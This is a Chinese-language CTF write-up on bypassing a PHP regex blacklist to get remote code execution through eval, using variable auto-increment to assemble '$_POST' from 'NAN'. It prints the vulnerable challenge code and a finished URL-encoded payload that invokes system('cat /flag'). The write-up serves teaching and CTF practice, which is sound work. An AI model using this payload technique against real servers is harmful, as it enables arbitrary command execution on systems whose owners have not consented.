0x01 攻击原理

当出现类似以下代码:

1
!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)

常见的绕过如取反~,异或^等都被过滤,但是[ ]+$等没过滤完全,就可以考虑通过自增的方法进行RCE绕过。

php是弱语言,单字符型变量自增能得到下一个字符,且单个或多个下划线_也可以作为变量名,例如:

1
2
3
4
5
<?php
$_='A';
$_++; // 此时$_为B
var_dump($_);
//输出 string(1) "B"

还能用不可见字符替换php变量名称$%ff(url编码),这样就更短了。

而数组转字符串后是天然的字符串 Array,我们切片取A,通过自增便可得到任意一个大写字母。
还有1/_==INF,下划线也可快速构造NAN,如

1
2
3
<?php
$a=_/_._; // NAN_
var_dump($a[0]); //string(1) "N"

这样就很快得到了字母“N”,而”POST”中的“O”和“N”很近,所以很快就可以通过自增得到“POST”。

由于0也是不能出现的,可以用下划线_代替,如:

1
2
3
4
5
6
7
<?php
error_reporting(0);
$a=_/_._; // NAN_
var_dump($a);
var_dump($a[___]);
var_dump($a[__]);
var_dump($a[_]);

输出:

1
2
3
4
5
root@ubuntu:~/challenges# php 1.php 
string(4) "NAN_"
string(1) "N"
string(1) "N"
string(1) "N"

这样就可以很快构造出$_POST[___]($_POST[_]),然后只需要传入参数____就能完成rce了。

0x02 题目详情

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['code'])) {
$code = $_POST['code'];
if (strlen($code) <= 105){
if (is_string($code)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){
eval($code);
} else {
echo "Hacked!";
}
} else {
echo "You need to pass in a string";
}
} else {
echo "long?";
}
}

通过自增方法可以构造出如下代码:

1
2
3
4
5
6
7
8
<?php
//用 ___ 代替 0
$_=(_/_._)[___]; // NAN 取 N
$__=++$_; // O
$_____=++$_.$__; // PO
++$_/++$_;
$_=_.$_____.=++$_.++$_; // _.POST
$$_[___]($$_[_]);

去掉注释和换行,并去掉php头,构造payload如下:

1
code=$_=(_/_._)[___];$__=++$_;$_____=++$_.$__;++$_/++$_;$_=_.$_____.=++$_.++$_;$$_[___]($$_[_]);&___=system&_=cat /flag

别忘记了url编码,最终payload如下:

1
code=%24_%3D(_%2F_._)%5B___%5D%3B%24__%3D%2B%2B%24_%3B%24_____%3D%2B%2B%24_.%24__%3B%2B%2B%24_%2F%2B%2B%24_%3B%24_%3D_.%24_____.%3D%2B%2B%24_.%2B%2B%24_%3B%24%24_%5B___%5D(%24%24_%5B_%5D)%3B&___=system&_=cat /flag

image-20230121102832541

题目地址: